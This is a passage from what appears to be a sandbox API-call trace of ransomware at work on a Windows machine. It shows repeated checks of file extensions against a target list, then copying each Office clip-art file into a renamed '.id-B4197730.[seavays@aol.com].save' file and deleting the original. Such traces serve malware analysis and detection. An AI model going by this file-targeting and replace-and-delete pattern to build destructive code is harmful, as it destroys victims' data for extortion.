lpString2="8.WMF") returned -1 [0184.166] lstrlenW (lpString=".ppt") returned 4 [0184.166] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0184.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152688.WMF") returned 68 [0184.167] lstrlenW (lpString=".zip") returned 4 [0184.167] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0184.167] lstrlenW (lpString=".rar") returned 4 [0184.167] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0184.167] lstrlenW (lpString=".bz2") returned 4 [0184.167] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0184.167] lstrlenW (lpString=".7z") returned 3 [0184.167] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0184.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152688.WMF") returned 68 [0184.167] lstrlenW (lpString=".dbf") returned 4 [0184.167] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0184.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152688.WMF") returned 68 [0184.167] lstrlenW (lpString=".1cd") returned 4 [0184.167] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0184.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152688.WMF") returned 68 [0184.167] lstrlenW (lpString=".jpg") returned 4 [0184.167] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0184.168] GetFileSizeEx (in: hFile=0x530, lpFileSize=0x29eff14 | out: lpFileSize=0x29eff14*=1268) returned 1 [0184.169] CloseHandle (hObject=0x530) returned 1 [0184.169] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152690.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152690.wmf")) returned 0x220 [0184.169] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152690.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152690.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0184.169] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152690.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152690.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0184.170] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0184.170] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0184.170] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152690.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152690.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0184.171] GetLastError () returned 0x0 [0184.171] ReadFile (in: hFile=0x530, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x4f4, lpOverlapped=0x0) returned 1 [0184.173] WriteFile (in: hFile=0x534, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0x500, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0x500, lpOverlapped=0x0) returned 1 [0184.174] ReadFile (in: hFile=0x530, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x0, lpOverlapped=0x0) returned 1 [0184.174] WriteFile (in: hFile=0x534, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0xec, lpOverlapped=0x0) returned 1 [0184.174] SetEndOfFile (hFile=0x534) returned 1 [0184.174] CloseHandle (hObject=0x534) returned 1 [0184.175] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0184.175] SetEndOfFile (hFile=0x530) returned 1 [0184.928] CloseHandle (hObject=0x530) returned 1 [0184.928] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152690.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0185.368] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152690.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152690.wmf")) returned 1 [0185.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152690.WMF") returned 68 [0185.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152690.WMF") returned 68 [0185.720] lstrlenW (lpString=".doc") returned 4 [0185.720] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0185.720] lstrlenW (lpString=".docx") returned 5 [0185.720] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0185.720] lstrlenW (lpString=".pdf") returned 4 [0185.720] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0185.720] lstrlenW (lpString=".xls") returned 4 [0185.720] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0185.720] lstrlenW (lpString=".xlsx") returned 5 [0185.720] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0185.720] lstrlenW (lpString=".ppt") returned 4 [0185.720] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0185.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152690.WMF") returned 68 [0185.720] lstrlenW (lpString=".zip") returned 4 [0185.720] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0185.720] lstrlenW (lpString=".rar") returned 4 [0185.720] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0185.720] lstrlenW (lpString=".bz2") returned 4 [0185.720] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0185.720] lstrlenW (lpString=".7z") returned 3 [0185.721] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0185.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152690.WMF") returned 68 [0185.721] lstrlenW (lpString=".dbf") returned 4 [0185.721] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0185.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152690.WMF") returned 68 [0185.721] lstrlenW (lpString=".1cd") returned 4 [0185.721] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0185.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152690.WMF") returned 68 [0185.721] lstrlenW (lpString=".jpg") returned 4 [0185.721] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0185.722] GetFileSizeEx (in: hFile=0x530, lpFileSize=0x29eff14 | out: lpFileSize=0x29eff14*=17508) returned 1 [0185.722] CloseHandle (hObject=0x530) returned 1 [0185.722] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153398.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153398.wmf")) returned 0x220 [0185.722] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153398.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153398.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0185.723] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153398.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153398.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0185.724] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0185.724] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0185.724] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153398.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153398.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0185.726] GetLastError () returned 0x0 [0185.726] ReadFile (in: hFile=0x530, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x4464, lpOverlapped=0x0) returned 1 [0185.729] WriteFile (in: hFile=0x558, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0x4470, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0x4470, lpOverlapped=0x0) returned 1 [0185.731] ReadFile (in: hFile=0x530, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x0, lpOverlapped=0x0) returned 1 [0185.731] WriteFile (in: hFile=0x558, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0xec, lpOverlapped=0x0) returned 1 [0185.731] SetEndOfFile (hFile=0x558) returned 1 [0185.731] CloseHandle (hObject=0x558) returned 1 [0185.731] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0185.732] SetEndOfFile (hFile=0x530) returned 1 [0185.737] CloseHandle (hObject=0x530) returned 1 [0185.737] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153398.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0185.738] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153398.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153398.wmf")) returned 1 [0185.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153398.WMF") returned 68 [0185.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153398.WMF") returned 68 [0185.739] lstrlenW (lpString=".doc") returned 4 [0185.739] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0185.739] lstrlenW (lpString=".docx") returned 5 [0185.739] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0185.739] lstrlenW (lpString=".pdf") returned 4 [0185.739] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0185.740] lstrlenW (lpString=".xls") returned 4 [0185.740] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0185.740] lstrlenW (lpString=".xlsx") returned 5 [0185.740] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0185.740] lstrlenW (lpString=".ppt") returned 4 [0185.740] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0185.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153398.WMF") returned 68 [0185.740] lstrlenW (lpString=".zip") returned 4 [0185.740] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0185.740] lstrlenW (lpString=".rar") returned 4 [0185.740] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0185.740] lstrlenW (lpString=".bz2") returned 4 [0185.740] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0185.740] lstrlenW (lpString=".7z") returned 3 [0185.740] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0185.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153398.WMF") returned 68 [0185.740] lstrlenW (lpString=".dbf") returned 4 [0185.740] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0185.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153398.WMF") returned 68 [0185.740] lstrlenW (lpString=".1cd") returned 4 [0185.740] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0185.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153398.WMF") returned 68 [0185.741] lstrlenW (lpString=".jpg") returned 4 [0185.741] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0185.742] GetFileSizeEx (in: hFile=0x530, lpFileSize=0x29eff14 | out: lpFileSize=0x29eff14*=34256) returned 1 [0185.743] CloseHandle (hObject=0x530) returned 1 [0185.743] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153508.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153508.wmf")) returned 0x220 [0185.743] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153508.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153508.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0185.743] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153508.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153508.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0185.744] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0185.745] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0185.745] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153508.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153508.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0185.746] GetLastError () returned 0x0 [0185.746] ReadFile (in: hFile=0x530, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x85d0, lpOverlapped=0x0) returned 1 [0185.750] WriteFile (in: hFile=0x558, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0x85e0, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0x85e0, lpOverlapped=0x0) returned 1 [0185.853] ReadFile (in: hFile=0x530, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x0, lpOverlapped=0x0) returned 1 [0185.853] WriteFile (in: hFile=0x558, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0xec, lpOverlapped=0x0) returned 1 [0185.853] SetEndOfFile (hFile=0x558) returned 1 [0185.877] CloseHandle (hObject=0x558) returned 1 [0185.877] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0185.877] SetEndOfFile (hFile=0x530) returned 1 [0185.888] CloseHandle (hObject=0x530) returned 1 [0185.888] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153508.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0186.357] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153508.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153508.wmf")) returned 1 [0186.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153508.WMF") returned 68 [0186.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153508.WMF") returned 68 [0186.358] lstrlenW (lpString=".doc") returned 4 [0186.358] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0186.358] lstrlenW (lpString=".docx") returned 5 [0186.358] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0186.358] lstrlenW (lpString=".pdf") returned 4 [0186.358] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0186.359] lstrlenW (lpString=".xls") returned 4 [0186.359] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0186.359] lstrlenW (lpString=".xlsx") returned 5 [0186.359] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0186.359] lstrlenW (lpString=".ppt") returned 4 [0186.359] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0186.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153508.WMF") returned 68 [0186.359] lstrlenW (lpString=".zip") returned 4 [0186.359] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0186.359] lstrlenW (lpString=".rar") returned 4 [0186.359] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0186.359] lstrlenW (lpString=".bz2") returned 4 [0186.359] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0186.359] lstrlenW (lpString=".7z") returned 3 [0186.359] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0186.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153508.WMF") returned 68 [0186.359] lstrlenW (lpString=".dbf") returned 4 [0186.359] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0186.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153508.WMF") returned 68 [0186.359] lstrlenW (lpString=".1cd") returned 4 [0186.359] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0186.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153508.WMF") returned 68 [0186.359] lstrlenW (lpString=".jpg") returned 4 [0186.359] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0186.361] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x29eff14 | out: lpFileSize=0x29eff14*=1376) returned 1 [0186.361] CloseHandle (hObject=0x534) returned 1 [0186.361] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0156537.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0156537.wmf")) returned 0x220 [0186.361] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0156537.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0156537.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0186.361] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0156537.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0156537.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0186.362] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0186.362] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0186.362] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0156537.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0156537.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a8 [0186.364] GetLastError () returned 0x0 [0186.364] ReadFile (in: hFile=0x534, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x560, lpOverlapped=0x0) returned 1 [0186.366] WriteFile (in: hFile=0x2a8, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0x570, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0x570, lpOverlapped=0x0) returned 1 [0186.367] ReadFile (in: hFile=0x534, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x0, lpOverlapped=0x0) returned 1 [0186.367] WriteFile (in: hFile=0x2a8, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0xec, lpOverlapped=0x0) returned 1 [0186.367] SetEndOfFile (hFile=0x2a8) returned 1 [0186.367] CloseHandle (hObject=0x2a8) returned 1 [0186.367] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0186.368] SetEndOfFile (hFile=0x534) returned 1 [0186.370] CloseHandle (hObject=0x534) returned 1 [0186.371] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0156537.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0186.371] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0156537.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0156537.wmf")) returned 1 [0186.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0156537.WMF") returned 68 [0186.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0156537.WMF") returned 68 [0186.372] lstrlenW (lpString=".doc") returned 4 [0186.372] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0186.372] lstrlenW (lpString=".docx") returned 5 [0186.372] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0186.372] lstrlenW (lpString=".pdf") returned 4 [0186.372] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0186.372] lstrlenW (lpString=".xls") returned 4 [0186.372] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0186.372] lstrlenW (lpString=".xlsx") returned 5 [0186.372] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0186.372] lstrlenW (lpString=".ppt") returned 4 [0186.373] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0186.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0156537.WMF") returned 68 [0186.373] lstrlenW (lpString=".zip") returned 4 [0186.373] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0186.373] lstrlenW (lpString=".rar") returned 4 [0186.373] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0186.373] lstrlenW (lpString=".bz2") returned 4 [0186.373] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0186.373] lstrlenW (lpString=".7z") returned 3 [0186.373] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0186.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0156537.WMF") returned 68 [0186.373] lstrlenW (lpString=".dbf") returned 4 [0186.373] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0186.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0156537.WMF") returned 68 [0186.373] lstrlenW (lpString=".1cd") returned 4 [0186.373] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0186.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0156537.WMF") returned 68 [0186.373] lstrlenW (lpString=".jpg") returned 4 [0186.373] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0186.375] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x29eff14 | out: lpFileSize=0x29eff14*=46702) returned 1 [0186.375] CloseHandle (hObject=0x534) returned 1 [0186.375] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157167.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0157167.wmf")) returned 0x220 [0186.375] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157167.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0157167.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0186.375] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157167.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0157167.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0186.376] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0186.376] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0186.376] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157167.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0157167.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, 